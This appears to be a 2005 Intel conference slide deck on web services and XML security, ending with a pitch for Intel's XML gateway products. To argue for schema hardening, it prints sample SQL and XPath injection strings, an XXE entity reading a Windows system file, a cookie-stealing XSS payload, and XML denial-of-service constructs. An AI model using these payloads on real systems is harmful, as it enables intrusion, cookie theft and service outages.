Web Services Security and XML Threat Prevention

Steve OrrinDir. XPD SecurityXML Products DivisionSSGIntel® Corporation

SOA Business Drivers

• Effective Reuse of IT Applications & Systems– IT layers & applications

– Across organization & trust boundaries

• Reduce IT Complexity – Implementation (language/platform agnostic)

– Standards-based application interaction

• Faster IT results at lower costs– Easier partner and internal system integration

– Less “custom” software/adapters/B2B Gateways

– Easier to introduce new services

SOA Challenges

• Core Technology Challenges– End-End XML processing (XML everywhere)– Transaction (type, size, volume)

– WS Security (Trust & IPS)

• Economy of scale (affordable Web Services)

• Need for extensive ecosystem– Products, implementation, support

• Specificity (right solution/form factor/price)

• Volume supplier (for mass consumption)

• Enterprise-Enterprise implementation

Pressures on the Web Services Application Lifecycle

• Time-to-Market• Complexity is Growing

– Mixed Bag of XML Standards

– Interoperability, reuse, etc.

• Increasing Business Risks Driven by Security Defects

– Rise in Hacker activity – Government scrutiny and

regulation pressures (HIPAA, GLBA, SB1386, etc..)

– Liability precedents for security defects

PervasivePervasive 75% of hacks occur at the Application level (Gartner)75% of hacks occur at the Application level (Gartner)

So many Standards, So many Standards, so little time...so little time...

• “By the second half of 2004, 40 percent of the Global 2000 will have unauthorized, undocumented and unmonitored Web services connections that extend beyond their perimeters”

Ray Wagner, Gartner, Gartner Symposium Oct. 20-24, 2003

• “By 2005, Web services will have reopened 70 percent of the attack paths against Internet connected systems, which were closed by network firewalls in the 1990s”

Ray Wagner, Gartner, Gartner Symposium Oct. 20-24, 2003

The Threat is Real

The Perfect Storm of Security

• Trust

• Risk Mitigation

• Reliability

Trust Services

• Requirements– Authentication

– Authorization

– Access Control

– Integrity

– Confidentiality

– Federated Identity

– 3xA callout• CA, LDAP, Tivoli,

etc…

– PKI Functions

• Standards– WS-Security

• WS-Trust, WS-Policy, WS-Privacy, etc…

– SAML

– XML Encryption

– XML Dig-Sig

– XACML, XKMS, others…

                 

Integrity

XML Signature

XML Encryption

Confidentiality

Key Management

XKMS

AuthZ

AuthCAssertions

(SAML)

Authorizations

(XACML) AccessC

Policies

XrML DRM

WS-SecurityWeb Svcs

SPML

XML Signature Example

<?xml version="1.0" encoding="UTF-8"?>

<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">

<SignedInfo Id="foobar">

<CanonicalizationMethodAlgorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>

<SignatureMethodAlgorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1" />

<Reference URI="http://www.abccompany.com/news/2000/03_27_00.htm">

<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />

<DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</DigestValue>

</Reference>

</SignedInfo>

<SignatureValue>KedJuTob5gtvYx9qM3k3gm7kbwVbEQRl26S2tmXjqNND7MRGtoew==</SignatureValue>

<KeyInfo>

<X509Data>

<X509SubjectName>CN=Ed Simon,O=XMLSec Inc.,ST=OTTAWA,C=CA</X509SubjectName>

<X509Certificate>MIID5jCCA0+gA...lVN</X509Certificate>

</X509Data>

</KeyInfo>

</Signature>

WS-Security: defines a standard set

of SOAP extensions that enable applications to construct secure SOAP message exchanges

• Enables implementation of credential exchange,

message-level integrity and confidentiality

• Original specification released October 2001 by

Microsoft, IBM, Verisign

• Leverages existing standards and specifications

such as ITU-T X.509, XML Encryption and XML

Signature

WS-Trust: defines protocols for issuing

security tokens and managing trust relationships

• Trust – “The characteristic that one entity is willing to

rely upon a second entity to execute a set of actions

and/or make a set of assertions about a set of subjects

and/or scopes” - WS-Trust Specification

• Specification released December 2002 by Microsoft,

IBM, Verisign, and RSA Security

• In order to secure a communication between 2 parties,

the 2 parties must exchange security credentials (either

directly or indirectly)However, each party needs to determine if they can “trust”

the asserted credentials of the other party

Web Services Security Stack

Transport Layer (HTTP)

SOAP

WS-Security

Po

licy

Tru

st

Ro

utin

g

Co

ord

inatio

n

Fe

de

ratio

n

Ins

pe

ctio

n

Me

ss

ag

ing

SOAP

Transport (HTTP)

Triple ‘A’ Server Callout

Federated ID Example

• Customers can login to the company’s web site and click on partner links to access information and services clicking from one service to the next to the next, as if all were resident on the company web site.

• The company would serve as the identity authority, responsible for authenticating users at login.

• All business partners would agree to trust the identities of users entering their domains from the company’s web site.

• Authentication information would pass in the background, invisible to customers and business partners.

Web Services Threats

Risk Mitigation Services

• Requirements– Attack Prevention

– Anomaly Detection

– Policy based Security

– DoS Protection

– Schema validation

• Key Functions– Content Inspection

– Signature/Pattern Recognition

– Protocol Enforcement

– Parsing Control

XML Threat Model

HTTP

TCP

Application

XML Payload

Encoding ThreatsStructural ThreatsGrammar Validation ThreatsSemantic ThreatsExternal Entity ThreatsXML Security ThreatsAlgorithmic Threats

Base Line Threat Model

• Payload threats– Back End Target

• Ex: SQL Injection, BAPI Protocol attack

– End User Target• Ex: XSS, Malicious Active Content, Viruses

• XML Manipulation• Ex: Entity Expansion, Referral Attacks

• XML Misuse/Abuse• Ex: XPath Injection, Parser DoS attacks

• Infrastructure• Ex: Buffer overflow of Server, HTTP Attacks

• External or Secondary• Ex: DNS Poisoning for CA Server

• Old Attacks still valid– Common Web Vulnerabilities– Injection Attacks– Buffer Overflow– Denial of Service

• The New Manipulation Attacks– Entity and Referral Attacks– DTD and Schema Attacks– Parser DoS Attacks

• The Next Generation Attacks– Web Service Enabled Application

Attacks– Multi-Phase Attacks XPATH Injection

XML/Web Services AttacksCross-Site Scripting in

Client Side XML

Documents

SAP/BAPI a

ttack

s vi

a

SOAP

Endless loop Denial of

service Attacks

Schema Redirection Attacks

SQL Injection in

XQuery

Entity Expansion Atta

cks

Command Injection SOAP Attacks

Payload (Semantic/Content) Threat Examples

SQL Injection Example

• Assume that a query is being run as follows:

query = "select count(*) from users where userName=‘ " & userName & “ ' and userPass=‘ " & password & “ ‘ "

• Boolean short-circuiting techniques

select count(*) from users where userName='john' and userPass='' or 1=1 --'

SOAP: SQL Injection Example

<soap:Envelope xmlns:soap=“ “>

<soap:Body>

<fn:PerformFunction xmlns:fn=“ “>

<fn:uid> ’or 1=1 or uid=‘</fn:uid>

<fn:password>8123</fn:password>

</fn:PerformFunction>

</soap:Body>

</soap:Envelope>

• Strong typing may mitigate the attack on the uid parameter

XPath Injection

• Query based injection attack targeting Web applications using XML data sources (XML documents and XML Databases)

• Why XPath Injection?

– Traditional Query Injection:

' or 1=1 or ''= '

– XPath injection:

abc' or name(//users/LoginID[1]) = 'LoginID' or 'a'='b

– XPath Blindfolded Injection

• Attacker extracts information per a single query injection.

– The novelty is:

• No prior knowledge of XPath query format required (unlike “traditional” SQL Injection attacks).

• Whole XML document eventually extracted, regardless of XPath query format used by application

XSS in XML Example

<?xml version="1.0"?><soap:Envelopexmlns:soap="http://www.w3.org/2001/12/soap-envelope"soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"><soap:Body xmlns:m="http://www.stock.com/stock"> <m:GetStockPrice> <m:StockName>%22%3e%3c%73%63%72%69%70%74%3edocument.location='http://www.stock.com/cgi-bin/

cookie.cgi?'%20+document.cookie%3c%2f%73%63%72%69%70%74%3e</m:StockName> </m:GetStockPrice> </soap:Body></soap:Envelope>

Structural/Manipulation Threat Examples

An attack on XXX Application Server1. Find a web service which echoes back user data such as the parameter "in"2. Use the following SOAP request 3. And you'll getC:\WinNT\Win.ini in the response (!!!)How it works:A. XXX App Server expands the entity “foo” into

full text, gotten from the entity definition URL - the actual attack takes place at this phase (by XXX Application Server itself)

B. XXX App Server feeds input to the web serviceC. The web service echoes back the data

...<!DOCTYPE root [

<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">]>...<in>&foo;</in>

XML Entity Expansion Attack

DoS attack using SOAP arrays• A web-service that expects an array can be the target of a DoS

attack by forcing the SOAP server to build a huge array in the machine’s RAM, thus inflicting a DoS condition on the machine due to memory pre-allocation. 

<soap:Envelope xmlns:soap=“ “>

<soap:Body>

<fn:PerformFunction xmlns:fn=“ “ xmlns:ns=“ “> <DataSet xsi:type="ns:Array"

ns:arrayType="xsd:string[100000]">

<item xsi:type="xsd:string">Data1</item>

<item xsi:type="xsd:string">Data2</item>

<item xsi:type="xsd:string">Data3</item>

</DataSet>

</fn:PerformFunction>

</soap:Body>

</soap:Envelope>

Quadratic Blowup DoS attack

• Attacker defines a single huge entity (say, 100KB), and references it many times (say, 30000 times), inside an element that is used by the application (e.g. inside a SOAP string parameter).

<?xml version=”1.0”?>

<!DOCTYPE foobar [<!ENTITY x “AAAAA… [100KB of them] … AAAA”>]>

<root>

<hi>&x;&x;….[30000 of them] … &x;&x;</hi>

</root>

Other Threats

• Coercive Parsing• Content Tampering• Parameter Tampering• XQuery Injection• XML Virus• X-Malware• Malicious Morphing

• Oversize Payloads• Replay Attacks• Buffer Overflow

• XDOS

• Routing Detour

• WSDL Scanning

• Schema Poisoning

The Next Generation Attacks

• Backend targeted Attacks– Exploit Known Vulnerabilities in ERP, CRM, Mainframe,

Databases– Using Web Services as the Attack carrier

• Multi-Phase Attacks– Leverage the distributed nature of Web Services to execute

complex multi-target attacks– Ex: DNS Poisoning for CA Server

• Coming Soon: Universal Tunnel Abuse– XML Web Services will implement existing network protocols

leading to misuse and piggybacking of:• FTP/Telnet/SSH/SCP/RDP/IMAP…

Addendum: More XML Threat Details• Encoding Threats

– Threats related to naïve or broken XML parsers not designed to handle encodings correctly

– Failure to maintain encoding information for an XML document• Structural Threats

– Threats related to the structure of the XML document, such as oversized payloads and components

• Grammar Validation Threats– Threats related to schema validation or equivalent

• Semantic Threats– Code Injection, SQL injection – any threat that manipulates the representation of the

XML document to change the semantics• External Entity Threats

– Manipulation of the XML processor de-reference external URIs• XML Security Threats

– Misapplication of XML Security such as XML Digital Signatures and XML Encryption• Algorithmic Threats

– DoS Attacks that take advantage of the underlying XML processor implementations (such as a hash table attack)

XML Standards Provide Inadequate Countermeasures

W3C Schema ValidationW3C Schema Validation– Standardized Grammar validationStandardized Grammar validation– Schema <pattern> Facet / Regular Schema <pattern> Facet / Regular

ExpressionsExpressions

Application ChecksApplication Checks– Strong typing and input validation can Strong typing and input validation can

prevent some known attack methodsprevent some known attack methods

OASIS WS-Security Schema Example

<xsd:complexType name="SecurityHeaderType">

<xsd:sequence>

<xsd:any processContents="lax" minOccurs="0“ maxOccurs="unbounded">

<xsd:annotation>

<xsd:documentation>The use of "any" is to allow extensibility and different forms of security data.</xsd:documentation>

</xsd:annotation>

</xsd:any>

</xsd:sequence>

<xsd:anyAttribute namespace="##other“ processContents="lax" />

</xsd:complexType>

Schema Validation: Inadequate

• Schema valid <wsse:Security> element:

<wsse:Security xmlns:wsse=“http://www.docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd”

<Attack>DoS</Attack><Attack>DoS</Attack><Attack>DoS</Attack><Attack>DoS</Attack><Attack>DoS</Attack><Attack>DoS</Attack><Attack>DoS</Attack>…

</wsse:Security>

Schema Validation is not Enough!

• Parsing Precondition

– Paradox: You have to parse before you validate

• Extensible Standard Schemas

– Schema is not “by design” a security feature

Parsing Precondition

• Logical split between parsing and validation– Naïve implementations parse first and then validate

second, when it is too late– Smarter implementations can begin schema validation

while parsing, but can’t finish until parsing finishes– Sequence of elements a, b, & c: I need to parse to the

end to see if the element “c” is present.• Pathological nodes are always parsed before

validated• Schema validation comes ‘too late’• Special checks outside of schema validation

(limit enforcement) are required

Schema Hardening

• Limitations on:– Character Sets - <!ELEMENT cat (#PCDATA) coat | size)>

– Field Length - <max-length>10 </max-length>

• Enforcement– Data Types - <xs:attribute name="orderDate" type="xs:date"/>

• Disallow external entity definition where possible

• Message Security• Use XML Encryption & XML Digital Signature for sensitive

data

XML Schema Extensibility

• Schema Hardening– A Schema can be coded with detailed restrictions and limits to prevent

most Content, Semantic & Structural threats <xs:simpleType name=“SSN">

<xs:restriction base="xs:string"

<xs:pattern value=“([0-9]{3})-([0-9]{2})-([0-9]{4})"/>

</xs:restriction>

</xs:simpleType>

• However Schema Hardening often requires extensive application logic knowledge

• Also explicit schema hardening may break certain XML formats or standards– Stronger Schema datatypes & better RegEx support is needed in the standards

Example of Simple Schema Hardening

<xsd:element name="AccountNumber"

xsi:type="xsd:string"

minOccurs="0">

<xsd:annotation>

<xsd:appinfo>

<lsi:byteLength>10</lsi:byteLength>

<lsi:mfDataType>CHARACTER</lsi:mfDataType>

<lsi:picture>X(10)</lsi:picture>

<lsi:qualifier>EBCDIC</lsi:qualifier>

</xsd:appinfo>

</xsd:annotation>

</xsd:element>

Reliability Services

• Requirements– Administration

• Central

• Distributed

• Multiple Admin

– Redundancy & Failover

– Load balancing

– Thresholding

– Granularity

– High Availability & Fault tolerance

– Logging/Alerting

Web Services Lifecycle Architecture

BuildBuild

PublishPublish

DeployDeploy

RunRun

UDDI Directory/Gateway

Server/ClientServer

SOAP/HTTP

Security for Each Phase

• Build– Secure Coding Practices– Secure Development Processes

• Publish– Security Gateway – Publish Security measures taken

• Deploy– Triple ‘A’– Manageability and Administrable Infrastructure– Operationalize your SOA

• Run– Leverage of Network and Application level security measures

When to Apply Security

• Pre-Deployment– Identify and Fix security related defects early in the lifecycle– Control Access to Web Services

• Post Deployment– Implement common best practices– Access control, Authentication and Authorization– Encryption– Intrusion/Attack prevention– Audit

Security as a Process:Identify, Resolve, Mitigate, Manage

• Identify your Exposure/ Risk– Assess and Understand the Risks– Get the Developers and Testers involved

• Resolve your known exposure– Provide Security Training for the various teams– Use process to remediate security defects found at each stage & Audit regularly

• Mitigate– Deploy Security systems, gateways and devices to address 3 categories of risk – Remember the Perfect Storm

• Manage your Risk– Implement Corporate security policy – Bring Operations and Application Development together

A

Converged Intel TechnologyIntegrated Computing and Communications

SOI (Service-Oriented Infrastructure)

Virtualized Compute,

Network & Storage

SOA (Service-Oriented Architecture)

Business Processes &

Workflows

The SOE Topology

Outsourced, Supplier, and Customer

Data Centers

InternetService

ProvidersDigital Cities

Mobile Consumers

& Workforces

Digital Homes

Digital Offices (SMB)

Enterprise

Mobile Workforce

Digital Office

Data Center

Factory / Warehouse

Sensors

» Filtering» SOAP Verification» Authentication/ Authorization» Signing/ Verification» Encryption/ Decryption» Credential Propagation

XML Guardian™ Gateway

Intel’s XPD SOA Products

XML Speedway™Processor

Private Network

Layer 7 Network

Internet

SSL/TLS

Public DMZ

Web Services Firewall Security

XML Guardian™ Gateway

XML Acceleration

Partner WSC

Partner WSC Application

ServersWSP

Application Servers

WSP

XML Speedway™» Wire Speed » Transformation» Schema Validation» High Availability

HTTP

SOAP

XML Context™ Router

XML Context™ Router» Wire Speed » QoS» XPath Routing» Publish/Subscribe

HTTP

SOAP

XML Content Based Routing

Intel XPD 2005: Multi-platform, Multi-form factor

XESOS™ core softwareXESOS™ core softwareXESOS™ core softwareXESOS™ core software

Web Services - Processing, Security, RoutingWeb Services - Processing, Security, RoutingWeb Services - Processing, Security, RoutingWeb Services - Processing, Security, Routing

Appliances/BladesAppliances/Blades

Network DevicesNetwork Devices(IPS/IDS/Firewall/Routers)(IPS/IDS/Firewall/Routers)

SoftwareSoftware(Linux, WIN App Servers)(Linux, WIN App Servers)

or

Q&A

Notices

Intel and the Intel logo are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries.

*Other names and brands may be claimed as the property of others.

** Performance tests and ratings are measured using specific computer systems and/or components and reflect the approximate performance of Intel products as measured by those tests. Any difference in system hardware or software design or configuration may affect actual performance. All dates and product descriptions provided

are subject to change without notice. This slide may contain certain forward-looking statements that are subject to known and unknown risks and uncertainties that could cause actual results to differ materially

from those expressed or implied by such statements

Copyright © 2005 Intel Corporation. All Rights Reserved.

Presentation Title:

Presented By: